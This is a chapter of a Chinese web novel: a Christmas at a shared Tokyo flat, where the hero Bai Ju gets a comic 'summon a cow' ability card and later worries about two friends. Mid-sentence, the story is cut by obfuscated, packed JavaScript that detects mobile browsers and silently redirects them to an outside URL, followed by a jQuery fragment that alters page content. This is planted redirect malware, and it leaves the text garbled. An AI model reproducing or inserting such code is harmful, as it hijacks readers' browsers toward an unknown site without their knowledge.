第四十章牛来
接下来的两周，白桔错过了两本书。
第八个书坑出现的时候是十二月十三号，白桔下班之后才看到消息。他赶到地点的时候木南已经走了。
书坑被摧毁了，连灰都没剩下。
白桔蹲在空荡荡的巷子里，伸手摸了摸地面——是冷的，普通的柏油路，什么都没有。他甚至不知道那本书的内容是什么。
第九个书坑是十二月十九号。
这次白桔赶上了，他看到了那个书坑入口，灰色的漩涡在空气中缓缓旋转着。
他正准备跳进去，木南从侧面冲出来，身后还跟着三花——三花穿着一件深色的大衣，站在木南旁边，朝他摊了摊手，表情是“不好意思哦”。
木南说了一句“这是不能播的”，然后三花抬手把白桔推出了三米远。
书坑在他面前被黑色的修订光芒吞没，像一卷被火舔过的底片，卷曲、焦黑、碎裂，最后消失在空气里。
白桔坐在路边，看着那个入口彻底闭合。
“……”
他什么都没说。
回家之后他把自己扔在榻榻米上，盯着天花板看了很久。
淇洋坐在桌边喝苏打水，透明的液体在杯子里冒着细小的气泡，发出极轻的“滋滋”声。
白桔翻了个身，把脸埋在枕头里，闷闷地说了一句：“又没了。”
淇洋喝了一口苏打水，淡定地“嗯”了一声。
白桔把枕头压在自己脑袋上：“你能不能有点反应？！”
淇洋放下杯子，认真地看了他一眼：“节哀。”
白桔把枕头扔到墙角：“你不如不说话。”
淇洋又喝了一口苏打水：“可能木南有他的道理。”
“我知道他有他的道理。”白桔抬起头，下巴搁在手臂上，“但那是书啊。一个世界啊。”
淇洋没有说话。
他端着那杯水站起来，走到窗边，看着外面灰蒙蒙的天。
……
十二月二十四号，平安夜。
东京下了一场大雪。傍晚的时候开始落的，细密的雪片从灰白色的天空里纷纷扬扬地洒下来。
街灯亮起来的时候，橘黄色的光穿过雪幕，把整条街都染成暖融融的颜色。
出租屋里开着暖气，窗玻璃上结了一层薄薄的白雾。
墨染在厨房煮热红酒，锅里咕嘟咕嘟地冒着泡，橙子片和桂皮的味道在空气里散开。
西音盘腿坐在窗台上，手里捧着一碗剥好的烤栗子，一颗一颗地往嘴里送。
淇洋坐在桌边，面前摊着速写本，但没在画，铅笔搁在耳朵后面，手里端着一杯冒着热气的龙井茶。
白桔趴在榻榻米上，用手机刷着别人发的圣诞树照片，时不时“哇”一声。
孙路从电脑后面探出头来：“都别睡太晚啊。”
西音嚼着草莓：“干嘛？”
“我给大家准备了惊喜，”孙路说，“明天早上才能看。”
白桔从榻榻米上弹起来：“什么惊喜？！”
“说了明天早上才能看。”
“现在就给我看看嘛——”
“不行。”
“孙路叔叔——”
“叫爷爷也不行。”
白桔又趴回去了，把脸埋进胳膊里，嘴里嘟囔着“到底是什么啊”。
墨染把热红酒端过来，分给每人一杯。
白桔接过来喝了一口，被烫得缩了一下脖子，又喝了一口。
窗外的雪越下越大了。街道上的积雪已经没过了脚踝，偶尔有路人的脚印在雪地里踩出一串深痕，又被新落的雪慢慢填平。
远处的屋顶白了，树梢白了，路灯的灯罩上也积了一层厚厚的雪，像戴了一顶白色的绒帽。
西音打了个哈欠，把空碗放下来：“困了困了，我先睡了。”
墨染也站起来伸了个懒腰：“我也困了。”
淇洋合上速写本：“嗯，睡了。”
白桔趴在榻榻米上看着他们一个一个地铺床、关灯、钻进被窝里，心里还在惦记那个“惊喜”。
孙路把电脑关了，拍了拍白桔的后脑勺：“你也睡。”
白桔翻了个身，把被子拉到下巴下面：“好。”
灯灭了。
白桔闭着眼睛，听着房间里此起彼伏的呼吸声，慢慢睡着了。
……
十二月二十五号，圣诞节。
白桔是被墨染的一声“哇”吵醒的。
他迷迷糊糊地睁开眼，看到墨染站在客厅中间，手里攥着一件什么东西，嘴巴张着。
他揉了揉眼睛坐起来，然后愣住了。
整个出租屋被布置过了。
墙上挂着红绿色的彩带，角落里立着一棵小圣诞树——真的树，大概半人高，枝丫上挂满了小彩球和金色的星星，树顶有一颗塑料的星星灯，一闪一闪地亮着。
窗玻璃上贴着雪花形状的贴纸，桌布换成了红白格子的，连榻榻米上都铺了一层新的绒毯，暗红色的，脚踩上去软绵绵的。
“什么时候弄的……”墨染轻声说。
孙路从厨房走出来，手里端着一杯热气腾腾的咖啡：“趁你们睡着的时候搞的。怎么样？”
西音从被窝里钻出来，看到圣诞树的时候“嗷”了一声，光着脚就跑了过去：“好可爱！！！”
白桔还坐在被窝里，看着这满屋子的红色绿色金色，忽然觉得心里那团一直皱着的东西被什么东西轻轻地抚平了一下。
“礼物，”孙路说，“每个人都有一个。自己找。”
西音第一个开始翻——枕头底下、圣诞树的背面、厨房的柜子里。
她找到了一个系着红丝带的盒子，拆开之后里面是一只金包银的手镯，在晨光里闪着柔和的光。
她举起来对着光看了半天，然后转头看着孙路。
“谢谢孙路叔叔送我的大金镯子！！！”
“金包银，”孙路说，“不是纯金的，我特别强调一下。”
西音把镯子戴在手腕上晃了晃：“好看！”
墨染在圣诞树下面找到了她的——一个新手机，粉色的手机壳，壳子背面印着一只戴围巾的猫。
她按了一下开机键，屏幕亮起来，她愣了一下，然后笑了。
“谢谢。”
淇洋的礼物是在桌子的抽屉里找到的。
一个小巧的亚克力挂件，是他自己的照片，表情严肃，配文“我要喝咖啡！！”。
淇洋拿着那个挂件看了很久，然后把它挂在了速写本的拉链头上。
“挺好。”他说。
白桔翻了半天，枕头下面、沙发缝里、鞋柜上面——都没有。
他转过头看着孙路，眼神里带着一点急。
“我的呢？”
孙路从口袋里掏出一张金色的卡片，朝他晃了晃：“当当——永久的词条。”
白桔的眼睛一下子亮了。
“真的？！太好了！！！”
他扑过去从孙路手里抢过卡片，低头看上面的字——
【牛来】
白桔的笑僵在脸上。
“……哈？”
他翻过来看背面——空白。翻回去看正面——还是【牛来】。
他举着那张卡片对着灯光照了照，仿佛在检查有没有暗藏的字迹。
“这他妈有什么用？”
孙路靠在墙边，喝了一口咖啡，语气很随意：“可以召唤牛来——一头牛，来。”
白桔：“……”
房间里安静了两秒。
然后白桔炸了：“啊啊啊你他妈给我搓永久词条搓好一点啊！！！”
“你让我召唤一头牛来？？？我打架的时候放一头牛出来？？？牛能干嘛？？？哞一声把对面笑死吗？？？”
墨染在旁边笑出了声。西音已经笑倒在榻榻米上了。
窗户被人从外面推开了。
三花翻进来。
他今天换了一身新衣服——深灰色的西装马甲，里面是白衬衫，领口松开两颗扣子，外面套了一件黑色的长外套。头发吹了中分，刘海微微卷着，露出整张脸。
白桔看着他：“你是来嘲笑我的吗？”
三花歪了一下头：“我本来想给你搓【野生狗奶】来的，他不让。”
他朝着孙路的方向努了努嘴。
孙路翻了个白眼：“滚滚滚。”
三花说着走到孙路面前，从衣服内袋里掏出一个红色的绸缎盒子，递到孙路面前。
“路酱，我给你带了圣诞礼物，怎么这么赶人。”
孙路低头看了看那个盒子，又抬头看了看三花。
他接过来，打开盖子——里面铺了一层金色的拉菲草，中间躺着一张黑金色的酒店房卡。
房卡上印着几个字：1109号房。
孙路：“？”
墨染凑过来看了一眼：“？”
淇洋也看了一眼：“？”
白桔也凑过来，看了一眼：“？”
西音也来：“？”
三花靠着墙，双手插在大衣口袋里，语气轻飘飘的：“看你昨晚没休息好，邀请你一起去小憩一下。”
孙路：“……牛逼。”
白桔：“牛来。”
一头牛凭空出现在出租屋里。然后一头把窗边的三花撞
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17821124|211104||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了出去。
西音：“好牛逼的技能。”
“……”
中午，大家一起去外面吃饭。
孙路说有事，就没跟着去。
白桔看着他换了一件厚外套出了门，表情有点复杂。
剩下五个人在街上走着。雪停了，但路面的积雪还没清干净，踩上去嘎吱嘎吱地响。
阿笙的车从他们旁边经过，摇下车窗探出头来：“今天圣诞！我请你们吃饭！”
五个人被她塞进车里，七拐八拐地送到了一家很贵的餐厅。
落地窗，暖黄色的灯光，桌上铺着白桌布，服务员穿着黑色马甲，菜单上没有标价——白桔翻了一下就知道这是那种“看一眼就心梗”的地方。
阿笙很大方地替所有人点了菜。
一桌子的菜端上来，白桔夹了一块烤牛肉放进嘴里，汁水在舌尖上炸开，他“唔”了一声，又夹了一块。
大家有说有笑的。西音在讲她复习期间的趣事，说她室友半夜说梦话背公式；淇洋安静地吃着，偶尔搭一句腔；阿笙在跟墨染聊护肤品，说哪家的面膜好用。
墨染笑着点了点头。
白桔注意到她的筷子夹起一块菜，又放下来，又夹起一块，又放下来。
她端着那杯柠檬水喝了一口，目光落在窗外的雪上。
白桔放下筷子，偏过头看着她：“墨染，你怎么了？”
墨染愣了一下：“没事。”
白桔看了她两秒，没有追问。但那个“没事”两个字挂在他心里，像一粒没咽下去的米粒，硌着喉咙，不疼，但总觉得有东西在。
下午阿笙带着他们去逛街。商场里装饰得金碧辉煌，圣诞树摆在正中央，有两层楼那么高。
阿笙说全场消费由她买单，西音欢呼了一声就冲进了零食区，淇洋在书店里待了半小时最后只拿了一本画集，墨染在服装店试了两件大衣都很好看但没有买。
白桔坐在商场休息区的椅子上，手里捏着手机，给孙路打了个电话。
孙路接起来的时候先打了一个哈欠：“喂？”
“孙路叔叔，你有没有觉得……”
白桔看着不远处淇洋和墨染的背影：“王子酱和墨染，怪怪的，感觉有什么心事的样子。”
电话那头沉默了两秒。然后孙路的声音传过来：“你反射弧好长啊。”
“诶？”
“或者说，我们的反射弧都很长。”
白桔握着手机的手指收紧了一点：“你知道他们……”
孙路打断了他：“yes。”
“他们一定是——避嫌。”
白桔：“诶？”
“因为二骑和二骑女朋友，不是真的情侣啊，”孙路的声音懒洋洋的，“不过很奇怪啊，之前还好好的，不知道为什么突然开始避嫌了。”
白桔想了想：“对啊……”
“现实朋友应该不会这么芥蒂设定的吧，”孙路说，“除非是被剧情影响了。”
白桔愣了一下：“什么意思？”
“在文里待久了，会收到一些情绪影响。比如王子酱喜欢上别人，墨染喜欢上别人，或者他们被别人喜欢……就会自觉避嫌。”
白桔的心跳漏了一拍：“应该没人和他俩表白之类的吧……”
“喜欢不是表白，是心理，是幻想，”孙路的声音隔着手机传过来，“哪怕是别人对他们的幻想。”
“幻想的磁场会影响因为作者设定而被牵上红线的小情侣，会让他们疑神疑鬼的。”
白桔的脑子忽然闪过了后室那个熄灯的层。
绝对的黑暗。寂静。幻觉。
他看到淇洋站在那里，朝他走过来。他的鼻尖碰到了淇洋的鼻尖，他在黑暗里抬起手，他的嘴唇在往前送——
（白桔：！）
他猛地坐直了：“不会吧？！”
孙路：“怎么了？”
“别人在脑子里想的也会影响？！”白桔的声音压低了但语气很急，“这根本不科学啊？！”
孙路：“对啊，所以说是我瞎编的。”
白桔：“？？？”
孙路：“你怎么回事，你这么激动干嘛，难不成你yy墨染——”
白桔：“【牛来】！！！”
白桔挂断电话把手机塞进口袋，脸上还烫着，心跳快得像被人按了快进键。
他站在原地深呼吸了两下，把那股乱七八糟的热意从脸上压下去，然后朝淇洋和墨染走过去。
……
与此同时，城市另一头的酒店房间里。
“牛逼。”
窗外的三花：“你这是给他搓了个什么怪物词条啊。”